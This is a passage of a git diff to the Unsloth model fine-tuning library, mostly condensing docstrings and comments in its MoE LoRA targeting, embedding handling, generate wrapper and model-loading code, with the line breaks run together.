or- ``experts.*``.-- Only includes MoE parameters that match what's in target_modules:- - If "down_proj" is in target_modules -> includes "mlp.experts.down_proj"- - If "gate_proj" or "up_proj" is in target_modules -> includes "mlp.experts.gate_up_proj"-- Args:- model: The model to get target parameters for- target_modules: List/tuple of target module names to match against-- Returns:- List of parameter paths for MoE experts, or None if not an MoE model- """+ """target_parameters for MoE expert layers, or None for a non-MoE model. Returns the expert weight parameter paths (gate_up_proj, down_proj) for PEFT's ``target_parameters``, under whichever layout the model uses (``mlp.experts.*`` or ``experts.*``). Only MoE parameters matching *target_modules* are included: "down_proj" gives "mlp.experts.down_proj", and "gate_proj" or "up_proj" gives "mlp.experts.gate_up_proj"."""if not is_moe_model(model):return None@@ -4284,9 +3928,7 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[stralternate_name = "experts.down_proj",)- # gate_up_proj combines gate_proj and up_proj. Target only a fused expert Parameter that- # exists: per-expert Linear layouts (gpt-oss bnb-4bit) have none and go through- # get_moe_target_modules, so skip them rather than hand PEFT a dead path.+ # gate_up_proj combines gate_proj and up_proj. Target only a fused expert Parameter that exists: per-expert Linear layouts (gpt-oss bnb-4bit) have none and go through get_moe_target_modules, so skip them rather than hand PEFT a dead path.if "gate_proj" in target_set or "up_proj" in target_set or "gate_up_proj" in target_set:if _moe_parameter_exists(model, gate_up_name):moe_params.append(gate_up_name)@@ -4318,17 +3960,7 @@ def _moe_parameter_exists(model, name: str) -> bool:def get_moe_target_modules(model, target_modules = None) -> List[str]:- """Per-expert ``target_modules`` suffixes for MoE models whose experts are stored- as per-expert ``nn.Linear`` ModuleLists rather than fused nn.Parameters.-- gpt-oss bnb-4bit is the canonical case (mlp.experts.gate_up_projs.<i> /- down_projs.<i> as Linear4bit): no fused Parameter, and the plain- gate/up/down_proj leaves do not match, so LoRA skips them. Returning the- per-expert suffixes makes PEFT attach via ordinary suffix matching (the- module-LoRA counterpart of get_moe_target_parameters). Returns [] for non-MoE,- fused-parameter MoEs, an absent per-expert layout, or a request that omits the- MLP experts (so an attention-only run does not train experts).- """+ """Per-expert ``target_modules`` suffixes for MoE models whose experts are per-expert ``nn.Linear`` ModuleLists rather than fused nn.Parameters. gpt-oss bnb-4bit is the canonical case (mlp.experts.gate_up_projs.<i> / down_projs.<i> as Linear4bit): no fused Parameter, and the plain gate/up/down_proj leaves do not match, so LoRA skips them. Returning the per-expert suffixes makes PEFT attach via ordinary suffix matching. Returns [] for non-MoE, fused-parameter MoEs, an absent per-expert layout, or a request that omits the MLP experts."""if not is_moe_model(model):return []if target_modules is None:@@ -4347,9 +3979,7 @@ def get_moe_target_modules(model, target_modules = None) -> List[str]:if not hasattr(model, "named_modules"):return []- # Scope the suffixes to the requested leaves, matching get_moe_target_parameters:- # gate/up/gate_up map to the fused gate_up ModuleList and down_proj to the down one, so a- # down-only request must not pull in the other projection.+ # Scope the suffixes to the requested leaves, matching get_moe_target_parameters: gate/up/gate_up map to the fused gate_up ModuleList and down_proj to the down one, so a down-only request must not pull in the other projection.want_gate_up = bool(target_set & {"gate_proj", "up_proj", "gate_up_proj"})want_down = "down_proj" in target_set@@ -4358,9 +3988,7 @@ def get_moe_target_modules(model, target_modules = None) -> List[str]:if not isinstance(module, torch.nn.ModuleList) or len(module) == 0:continueparent, _, leaf = name.rpartition(".")- # ModuleList directly under an `experts` container holding only Linear leaves (bnb Linear4bit- # subclasses nn.Linear). After PEFT wraps the experts the child is a LoRA layer whose- # base_layer is the Linear, so accept that too and stay idempotent.+ # ModuleList directly under an `experts` container holding only Linear leaves (bnb Linear4bit subclasses nn.Linear). After PEFT wraps the experts the child is a LoRA layer whose base_layer is the Linear, so accept that too and stay idempotent.if not parent.endswith("experts"):continueif not all(@@ -4369,7 +3997,6 @@ def get_moe_target_modules(model, target_modules = None) -> List[str]:for child in module):continue- # Honor the requested subset: classify the ModuleList by projection role.leaf_lower = leaf.lower()is_down = "down" in leaf_loweris_gate_up = (not is_down) and ("gate" in leaf_lower or "up" in leaf_lower)@@ -4385,15 +4012,9 @@ def get_moe_target_modules(model, target_modules = None) -> List[str]:def warn_if_zoo_cannot_merge_moe_experts():- """Warn once when the installed unsloth_zoo cannot fold per-expert Linear MoE LoRA- into a merged_16bit checkpoint. Older zoo releases keep the fused gate_up_proj /- down_proj tensors and drop the per-expert gate_up_projs.<i> / down_projs.<i> deltas,- so save_pretrained_merged("merged_16bit") would silently lose the expert training- (the LoRA adapter itself still saves and reloads correctly)."""+ """Warn once when the installed unsloth_zoo cannot fold per-expert Linear MoE LoRA into a merged_16bit checkpoint. Older zoo releases keep the fused gate_up_proj / down_proj tensors and drop the per-expert deltas, so save_pretrained_merged("merged_16bit") would silently lose the expert training (the LoRA adapter itself still saves and reloads correctly)."""try:from unsloth_zoo import saving_utils as _saving_utils-- # _fold_perexpert_lora_into_fused is the helper that folds these experts.if hasattr(_saving_utils, "_fold_perexpert_lora_into_fused"):returnexcept Exception:@@ -4410,11 +4031,7 @@ EMBEDDING_MODULES = frozenset(("embed_tokens", "lm_head"))def _embedding_leaf(name):- """`embed_tokens`/`lm_head` for any spelling of them, else None.-- PEFT matches on the module suffix, so `model.embed_tokens` is the same module.- Anything else keeps its full name: layers.0.q_proj is a real target.- """+ """`embed_tokens`/`lm_head` for any spelling of them, else None. PEFT matches on the module suffix, so `model.embed_tokens` is the same module; anything else keeps its full name, since layers.0.q_proj is a real target."""if type(name) is not str:return Noneleaf = name.rsplit(".", 1)[-1]@@ -4426,12 +4043,7 @@ def _embedding_leaves(names):def _vllm_unmovable_embedding_modules(model, target_modules):- """Names to leave in `target_modules` under fast inference.-- vLLM cannot sync a trainable embedding, so modules_to_save is refused below. Only- lm_head is spared: LoRA on it never trained here either, so redirecting it would- newly raise on scripts that run today. embed_tokens still redirects, so still raises.- """+ """Names to leave in `target_modules` under fast inference. vLLM cannot sync a trainable embedding, so modules_to_save is refused below. Only lm_head is spared: LoRA on it never trained here either, so redirecting it would newly raise on scripts that run today. embed_tokens still redirects, so still raises."""if getattr(model, "vllm_engine", None) is None:return ()if type(target_modules) in (list, tuple) and "lm_head" in _embedding_leaves(target_modules):@@ -4449,11 +4061,7 @@ def _redirect_embedding_targets(allow_redirect = True,skip = (),):- """Move embed_tokens/lm_head into modules_to_save. Returns (targets, saved, moved).-- LoRA on either is silently dead here: the fused CE loss reads `lm_head.weight`- instead of calling the module, and PEFT's `lora_embedding_A/B` are never unfrozen.- """+ """Move embed_tokens/lm_head into modules_to_save. Returns (targets, saved, moved). LoRA on either is silently dead here: the fused CE loss reads `lm_head.weight` instead of calling the module, and PEFT's `lora_embedding_A/B` are never unfrozen."""if type(target_modules) not in (list, tuple) or not allow_redirect:return target_modules, modules_to_save, ()@@ -4479,10 +4087,7 @@ def _raise_if_no_lora_targets_left(moved,target_parameters = None,):- """embed_tokens/lm_head go to modules_to_save, so they cannot be the only targets.-- PEFT accepts `target_parameters` (fused MoE experts) with no target_modules at all.- """+ """embed_tokens/lm_head go to modules_to_save, so they cannot be the only targets. PEFT accepts `target_parameters` (fused MoE experts) with no target_modules at all."""if (movedand type(target_modules) in (list, tuple)@@ -4503,12 +4108,7 @@ def _model_ties_embeddings(model):def _resolve_ensure_weight_tying(model, modules_to_save, requested):- """Default `ensure_weight_tying` on when a tied pair lands in modules_to_save.-- PEFT copies each entry, so tied copies diverge and a merge keeps only one; tying- moves the counterpart to `modules_to_tie`. Keyed on the final modules_to_save so- callers that pass both names themselves are covered. Caller wins if set.- """+ """Default `ensure_weight_tying` on when a tied pair lands in modules_to_save. PEFT copies each entry, so tied copies diverge and a merge keeps only one; tying moves the counterpart to `modules_to_tie`. Keyed on the final modules_to_save so callers that pass both names themselves are covered. Caller wins if set."""if requested is not None:return bool(requested)if not EMBEDDING_MODULES <= _embedding_leaves(modules_to_save):@@ -4517,11 +4117,7 @@ def _resolve_ensure_weight_tying(model, modules_to_save, requested):def _embedding_name_is_unambiguous(model, name):- """Whether `name` and its bare leaf select the same single module.-- A composite model can hold two embed_tokens, and PEFT suffix-matches, so the bare- name would wrap both. Rewriting is only safe when exactly one module matches.- """+ """Whether `name` and its bare leaf select the same single module. A composite model can hold two embed_tokens, and PEFT suffix-matches, so the bare name would wrap both; rewriting is only safe when exactly one module matches."""leaf = _embedding_leaf(name)if leaf is None:return False@@ -4538,12 +4134,7 @@ def _embedding_name_is_unambiguous(model, name):def _effective_weight_tying(model, modules_to_save, requested):- """Whether PEFT will really retie, not just whether it was asked to.-- Tying rebuilds the output from the INPUT embedding's wrapper, so that one must be- saved: peft 0.18 raises AttributeError otherwise, later versions tie nothing. An- untied model has no counterpart to rebuild either.- """+ """Whether PEFT will really retie, not just whether it was asked to. Tying rebuilds the output from the INPUT embedding's wrapper, so that one must be saved: peft 0.18 raises AttributeError otherwise, later versions tie nothing. An untied model has no counterpart to rebuild either."""if not _resolve_ensure_weight_tying(model, modules_to_save, requested):return Falseif not _model_ties_embeddings(model):@@ -4552,24 +4143,14 @@ def _effective_weight_tying(model, modules_to_save, requested):def _drop_tied_output_module(model, modules_to_save, ensure_weight_tying):- """Keep the input embedding and leave the tied output for PEFT to reconstruct.-- peft 0.18 ties only `tied_weight_keys - modules_to_save`, so naming both there ties- nothing and trains two diverging copies. One matrix on 0.18.1 and 0.20.0 alike.-- Gated on the model, not the flag: `ensure_weight_tying` can be passed explicitly on- an untied model, where PEFT has no counterpart to rebuild and only warns, so dropping- lm_head would leave the head the caller asked to train frozen.- """+ """Keep the input embedding and leave the tied output for PEFT to reconstruct: peft 0.18 ties only `tied_weight_keys - modules_to_save`, so naming both there ties nothing and trains two diverging copies, on 0.18.1 and 0.20.0 alike. Gated on the model, not the flag, since `ensure_weight_tying` can be passed explicitly on an untied model where PEFT has no counterpart to rebuild and dropping lm_head would leave the head the caller asked to train frozen."""if (not ensure_weight_tyingor not _model_ties_embeddings(model)or not EMBEDDING_MODULES <= _embedding_leaves(modules_to_save)):return modules_to_save- # Bare leaf, not the caller's spelling: peft 0.18 ties tied_weight_keys minus whole- # modules_to_save entries, so a qualified model.embed_tokens matches nothing and no output- # module is reconstructed, leaving the head frozen. PEFT resolves bare names by suffix.+ # Bare leaf, not the caller's spelling: peft 0.18 ties tied_weight_keys minus whole modules_to_save entries, so a qualified model.embed_tokens matches nothing and no output module is reconstructed, leaving the head frozen. PEFT resolves bare names by suffix.kept = [x for x in modules_to_save if _embedding_leaf(x) != "lm_head"]normalized = []for entry in kept:@@ -4579,8 +4160,7 @@ def _drop_tied_output_module(model, modules_to_save, ensure_weight_tying):elif _embedding_name_is_unambiguous(model, entry):normalized.append(leaf)else:- # Rewriting would widen the scope to another subtree's embedding, so keep both entries: two- # copies beats a silently frozen head.+ # Rewriting would widen the scope to another subtree's embedding, so keep both entries: two copies beats a silently frozen head.return modules_to_savereturn normalized@@ -4601,43 +4181,25 @@ def _select_moe_detection_targets(finetune_mlp_modules = True,finetune_language_layers = True,):- """Pick what get_moe_target_parameters keys expert detection on.-- Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an- attention-only request is not pushed into the experts by get_peft_regex's- ``mlp|feed_forward|ffn|dense`` component block (which the string fallback- cannot tell apart from a fused-expert auto regex).-- But only when the MLP and language families are BOTH still in scope. If the- caller scoped MLP or language OFF (``finetune_mlp_modules=False`` or- ``finetune_language_layers=False``) the scoped regex already drops the MoE- experts, and reusing the original list -- which may still name gate/up/down- leaves -- would wrongly re-introduce them. In that case honor the scoped- result so the frozen-MLP / vision-only request is respected.- """+ """Pick what get_moe_target_parameters keys expert detection on. Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an attention-only request is not pushed into the experts by get_peft_regex's ``mlp|feed_forward|ffn|dense`` component block. But only when the MLP and language families are BOTH still in scope: if the caller scoped either OFF the scoped regex already drops the MoE experts, and reusing the original list would wrongly re-introduce them."""if original_target_modules is not None and finetune_mlp_modules and finetune_language_layers:return original_target_modulesreturn scoped_target_modulesdef make_fast_generate_wrapper(original_generate):- """- Creates a wrapper around model.generate that checks for incorrect- vLLM-style usage when fast_inference=False.- """+ """Wrap model.generate to catch incorrect vLLM-style usage when fast_inference=False."""@functools.wraps(original_generate)def _fast_generate_wrapper(*args, **kwargs):def _has_sampling_params(a):- # SamplingParams passed directly or inside a positional list/tuple.return type(a).__name__ == "SamplingParams" or (isinstance(a, (list, tuple))and any(type(i).__name__ == "SamplingParams" for i in a))def _is_vllm_prompt(a):- # A str prompt, a vLLM prompt dict (prompt / prompt_token_ids / prompt_embeds /- # multi_modal_data), or a list or tuple of those.+ # A str prompt, a vLLM prompt dict (prompt / prompt_token_ids / prompt_embeds / multi_modal_data), or a list or tuple of those.head = a[0] if isinstance(a, (list, tuple)) and len(a) > 0 else areturn isinstance(head, str) or (isinstance(head, dict)@@ -4647,7 +4209,6 @@ def make_fast_generate_wrapper(original_generate):))- # vLLM-only; also catches SamplingParams passed positionally.if "sampling_params" in kwargs or any(_has_sampling_params(a) for a in args):raise ValueError("Unsloth: `sampling_params` is only supported when `fast_inference=True` (vLLM). "@@ -4661,9 +4222,7 @@ def make_fast_generate_wrapper(original_generate):"Since `fast_inference=False`, LoRA weights are already merged into the model.")- # A vLLM-style prompt only works under vLLM, so tokenize first when fast_inference=False. A- # positional arg may be HF token ids, so check conservatively. The prompts / prompt_token_ids /- # prompt_embeds keywords are vLLM-only names HF generate rejects, hence a membership test.+ # A vLLM-style prompt only works under vLLM, so tokenize first when fast_inference=False. A positional arg may be HF token ids, so check conservatively. The prompts / prompt_token_ids / prompt_embeds keywords are vLLM-only names HF generate rejects, hence a membership test.vllm_prompt_kwarg = any(k in kwargs for k in ("prompts", "prompt_token_ids", "prompt_embeds"))@@ -4684,10 +4243,7 @@ def make_fast_generate_wrapper(original_generate):return _fast_generate_wrapper-# llm_int8_skip_modules was ignored for VLMs with dynamic quantization: those checkpoints spell-# skip paths "language_model.model.layers.*" while the live tree has-# "model.language_model.layers.*", so should_convert_module missed them and 16-bit modules were-# wrapped in Linear4bit with no quant_state. Expand both into all aliases first (#4208).+# llm_int8_skip_modules was ignored for VLMs with dynamic quantization: those checkpoints spell skip paths "language_model.model.layers.*" while the live tree has "model.language_model.layers.*", so should_convert_module missed them and 16-bit modules were wrapped in Linear4bit with no quant_state. Expand both into all aliases first (#4208).import transformers.quantizers.quantizers_utils as _quantizers_utilsif (diff --git a/unsloth/models/cohere.py b/unsloth/models/cohere.pyindex d21a4e9327d..e212a0f7749 100644--- a/unsloth/models/cohere.py+++ b/unsloth/models/cohere.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/diffusion.py b/unsloth/models/diffusion.pyindex 8df1a65d1a5..55f3975a037 100644--- a/unsloth/models/diffusion.py+++ b/unsloth/models/diffusion.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/dpo.py b/unsloth/models/dpo.pyindex def047e3949..d65a32ff5ee 100644--- a/unsloth/models/dpo.py+++ b/unsloth/models/dpo.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/falcon_h1.py b/unsloth/models/falcon_h1.pyindex f50eaabb329..34c9d8cdd11 100644--- a/unsloth/models/falcon_h1.py+++ b/unsloth/models/falcon_h1.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/gemma.py b/unsloth/models/gemma.pyindex 05725726c38..9dfadd1c0bb 100644--- a/unsloth/models/gemma.py+++ b/unsloth/models/gemma.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/gemma2.py b/unsloth/models/gemma2.pyindex 2d1ab52bc91..672feeff8a9 100644--- a/unsloth/models/gemma2.py+++ b/unsloth/models/gemma2.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/glm4_moe.py b/unsloth/models/glm4_moe.pyindex 146d3b03f9c..12b5b962d18 100644--- a/unsloth/models/glm4_moe.py+++ b/unsloth/models/glm4_moe.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/granite.py b/unsloth/models/granite.pyindex 6cb8f1a3195..cc071fda2ca 100644--- a/unsloth/models/granite.py+++ b/unsloth/models/granite.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/llama4.py b/unsloth/models/llama4.pyindex f4299222683..25dd87cc347 100644--- a/unsloth/models/llama4.py+++ b/unsloth/models/llama4.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/loader.py b/unsloth/models/loader.pyindex 0092c0ae128..2c2d7988ae9 100644--- a/unsloth/models/loader.py+++ b/unsloth/models/loader.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -21,8 +18,7 @@ from ._utils import (USE_MODELSCOPE,get_transformers_model_type,hf_login,- # Single source of truth is _utils.py; re-exported so callers importing it from here keep- # working and so _is_sdpa_excluded can honor it without a loader -> _utils cycle.+ # Single source of truth is _utils.py; re-exported so callers importing it from here keep working and so _is_sdpa_excluded can honor it without a loader -> _utils cycle.DISABLE_SDPA_MODEL_NAMES,)from ._custom_dtype import register_custom_dtype@@ -58,7 +54,6 @@ except:try:from huggingface_hub.utils import get_tokenexcept:- # For older versions of huggingface_hub.from huggingface_hub.utils._token import get_tokenimport importlib.utilfrom ..device_type import (@@ -71,7 +66,6 @@ from ..device_type import (ALLOW_BITSANDBYTES,)-# huggingface/transformers#26037 allows 4 bit loading.from unsloth_zoo.utils import Version, _get_dtypefrom unsloth_zoo.hf_utils import dtype_from_configfrom unsloth_zoo.tiled_mlp import patch_tiled_mlp@@ -119,9 +113,7 @@ from ._utils import (maybe_prefetch_hf_snapshot,)-# Source of truth is unsloth_zoo.model_lists, re-exported for callers importing FORCE_FLOAT32-# from here. The fallback list is unioned in so a newer unsloth still forces float32 for these-# archs against an older zoo.+# Source of truth is unsloth_zoo.model_lists, re-exported for callers importing FORCE_FLOAT32 from here. The fallback list is unioned in so a newer unsloth still forces float32 for these archs against an older zoo._FORCE_FLOAT32_FALLBACK = ["gemma3,","gemma3text", # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)@@ -160,13 +152,7 @@ def _revision_for_resolved_repo(old_model_name,mapper_moved_name = False,):- """Drop `revision` once the requested repo has been remapped to another one.-- A revision names a branch/tag/SHA on the repo the caller asked for, but from_pretrained- may resolve model_name to a different repo (a pre-quantized mirror, an fp8 temp dir, a- ModelScope snapshot, a -bnb-4bit strip), where that ref does not exist. Only the mapper- substitution answers to use_exact_model_name, so only suggest it when it would help.- """+ """Drop `revision` once the requested repo has been remapped to another one. A revision names a branch/tag/SHA on the repo the caller asked for, but from_pretrained may resolve model_name to a different repo (a pre-quantized mirror, an fp8 temp dir, a ModelScope snapshot, a -bnb-4bit strip), where that ref does not exist. Only the mapper substitution answers to use_exact_model_name, so only suggest it when it would help."""if revision is None or model_name == old_model_name:return revisionremedy = (@@ -187,18 +173,7 @@ def _revision_for_tokenizer_repo(model_revision,is_peft = False,):- """Pick the revision for whichever repo the tokenizer is actually read from.-- It is not always the base model's: an adapter-hosted tokenizer is a separate repo with- its own history, so it keeps the caller's ref even though the base model does not. An- unset tokenizer_name follows the resolved model_name and so takes whatever the model- load itself uses (None on a PEFT load, whose ref belongs to the adapter).-- On a plain load the tokenizer belongs to the same model as the weights, so it follows- model_revision even when the caller named its repo directly: a remap has already dropped- the pin off the weights, and a pinned tokenizer beside a mirror's default-branch weights- is the ref mismatch this whole gate exists to avoid.- """+ """Pick the revision for whichever repo the tokenizer is actually read from. It is not always the base model's: an adapter-hosted tokenizer is a separate repo with its own history, so it keeps the caller's ref even though the base model does not, while an unset tokenizer_name follows the resolved model_name. On a plain load the tokenizer belongs to the same model as the weights, so it follows model_revision even when the caller named its repo directly: a remap has already dropped the pin off the weights, and a pinned tokenizer beside a mirror's default-branch weights is the ref mismatch this gate exists to avoid."""repo = tokenizer_name if tokenizer_name else model_nameif is_peft and repo == old_model_name:return revision@@ -218,14 +193,7 @@ def _config_get(def _loaded_skip_modules(model_config):- """The skip list the load actually used, for the synthetic config stamped after it.-- Whatever ended up on the loaded model is the authority: a pre-quantized checkpoint- brings its own list and transformers prefers it over any runtime config, while- on-the-fly quantization gets the one Unsloth built. None (transformers picked the- output head itself) and [] (told to exclude nothing) are different instructions on- reload, so neither is normalized away.- """+ """The skip list the load actually used, for the synthetic config stamped after it. Whatever ended up on the loaded model is the authority: a pre-quantized checkpoint brings its own list and transformers prefers it over any runtime config, while on-the-fly quantization gets the one Unsloth built. None (transformers picked the output head itself) and [] (told to exclude nothing) are different instructions on reload, so neither is normalized away."""return _config_get(getattr(model_config, "quantization_config", None) or {},"llm_int8_skip_modules",@@ -279,22 +247,13 @@ DISABLE_COMPILE_MODEL_NAMES = ["granite,llava_next", # Granite-vision 3]-# Architectures with gated-deltanet (linear attention) layers. Unsloth bundles the-# flash-linear-attention Triton kernels, so no install is needed; transformers falls back to-# the much slower pure PyTorch path only when they cannot be enabled.+# Architectures with gated-deltanet (linear attention) layers. Unsloth bundles the flash-linear-attention Triton kernels, so no install is needed; transformers falls back to the much slower pure PyTorch path only when they cannot be enabled.FLA_MODEL_TYPE_PREFIXES = ("qwen3_next", "qwen3_5", "kimi_linear", "olmo_hybrid")_fla_advised = Falsedef _maybe_advise_fla_install(model_types):- """One-time note when a gated-deltanet model loads without the fast kernels.-- The kernels ship with Unsloth (no install needed); this fires only when they- could not be enabled on this platform (e.g. no CUDA, torch < 2.7 or- triton < 3.3), or when Unsloth deliberately disabled them because they are- known-broken on this GPU / Triton combination, i.e. exactly when transformers- uses the slow pure PyTorch path.- """+ """One-time note when a gated-deltanet model loads without the fast kernels. They ship with Unsloth, so this fires only when they could not be enabled on this platform (no CUDA, torch < 2.7 or triton < 3.3) or when Unsloth deliberately disabled them as known-broken on this GPU / Triton combination, i.e. exactly when transformers uses the slow pure PyTorch path."""global _fla_advisedif _fla_advised:return@@ -313,9 +272,7 @@ def _maybe_advise_fla_install(model_types):except Exception:return_fla_advised = True- # Prefer unsloth_zoo's reason when it disabled the kernels on purpose: the generic text blames- # CUDA / torch / triton minimums, all satisfied on an H100 that hit the fla #640 Triton- # miscompile, so it would point that user in the wrong direction.+ # Prefer unsloth_zoo's reason when it disabled the kernels on purpose: the generic text blames CUDA / torch / triton minimums, all satisfied on an H100 that hit the fla #640 Triton miscompile, so it would point that user in the wrong direction.try:from unsloth_zoo.temporary_patches.fla_vendor import fla_unavailable_reasonreason = fla_unavailable_reason()@@ -333,20 +290,12 @@ def _maybe_advise_fla_install(model_types):def _fix_rope_inv_freq(model):- """Fix inv_freq corruption caused by transformers v5 meta-device loading.-- v5 inits on meta then replaces all non-persistent buffers with uninitialized- memory. Vanilla restores inv_freq via _init_weights() (needs original_inv_freq),- but Unsloth rotary classes lack that attr, so inv_freq stays corrupted -> wrong- positional encodings and 5-11x higher training loss. Here we recompute inv_freq- from base/dim, apply scaling, and rebuild cos/sin caches. No-op on v4.- """+ """Fix inv_freq corruption caused by transformers v5 meta-device loading. v5 inits on meta then replaces all non-persistent buffers with uninitialized memory; vanilla restores inv_freq via _init_weights() (which needs original_inv_freq), but Unsloth rotary classes lack that attribute, so inv_freq stays corrupted, giving wrong positional encodings and 5-11x higher training loss. Recompute inv_freq from base/dim, apply scaling and rebuild the cos/sin caches. No-op on v4."""if not _NEEDS_ROPE_FIX:return modelfor name, module in model.named_modules():- # Unsloth's LlamaRotaryEmbedding and subclasses (Extended, LinearScaling, Granite). Native v5- # rotary classes carry original_inv_freq, which v5's _init_weights() uses to restore inv_freq.+ # Unsloth's LlamaRotaryEmbedding and subclasses (Extended, LinearScaling, Granite). Native v5 rotary classes carry original_inv_freq, which v5's _init_weights() uses to restore inv_freq.if (hasattr(module, "inv_freq")and hasattr(module, "base")@@ -454,7 +403,6 @@ class FastLanguageModel(FastLlamaModel):*args,**kwargs,):- # Respect a user-provided quantization_config (e.g. BitsAndBytesConfig).quantization_config = kwargs.get("quantization_config", None)if quantization_config is not None:if isinstance(quantization_config, dict):@@ -470,8 +418,7 @@ class FastLanguageModel(FastLlamaModel):load_in_8bit = Trueload_in_4bit = False- # Login to allow private models. Before normalization: dtype is also derived below from a 4bit- # config's compute dtype, which is not a request for the whole model.+ # Login to allow private models. Before normalization: dtype is also derived below from a 4bit config's compute dtype, which is not a request for the whole model.user_float32 = _requested_float32(dtype)token = hf_login(token)# Align dtype with bnb_4bit_compute_dtype if provided and dtype is unset.@@ -488,15 +435,13 @@ class FastLanguageModel(FastLlamaModel):if isinstance(bnb_compute_dtype, torch.dtype):dtype = bnb_compute_dtype- # Distributed-safe placement for quantized models: under torchrun each rank must load on its- # own device, else Accelerate raises device relocation errors on quantized weights.+ # Distributed-safe placement for quantized models: under torchrun each rank must load on its own device, else Accelerate raises device relocation errors on quantized weights.is_quantized = load_in_4bit or load_in_8bit or load_in_fp8device_map = requested_device_map(device_map)if is_quantized and isinstance(device_map, str):distributed_device_map, is_dist = prepare_device_map()if is_dist:- # One whole model per rank; sharding one across the ranks' GPUs too would have every rank- # fighting for the same cards.+ # One whole model per rank; sharding one across the ranks' GPUs too would have every rank fighting for the same cards.device_map = distributed_device_map# @_offline_aware_load already forced offline when needed; delegations inherit it.@@ -523,7 +468,6 @@ class FastLanguageModel(FastLlamaModel):use_exact_model_name = use_exact_model_name,offload_embedding = offload_embedding,float32_mixed_precision = float32_mixed_precision,- # Pass vLLM/inference parameters.fast_inference = fast_inference,gpu_memory_utilization = gpu_memory_utilization,float8_kv_cache = float8_kv_cache,@@ -556,7 +500,6 @@ class FastLanguageModel(FastLlamaModel):)if DEVICE_TYPE_TORCH == "cuda":for i in range(DEVICE_COUNT):- # DGX Spark vLLM breaks.if "NVIDIA GB10" in str(torch.cuda.get_device_name(i)).upper():print("Unsloth: DGX Spark detected - `fast_inference=True` is currently broken as of January 2026.\n"@@ -565,12 +508,9 @@ class FastLanguageModel(FastLlamaModel):fast_inference = Falsebreak- # bitsandbytes unusable (absent, or unstable on some AMD stacks). A capability check, so not- # gated on use_exact_model_name, which only suppresses repo-name remapping.+ # 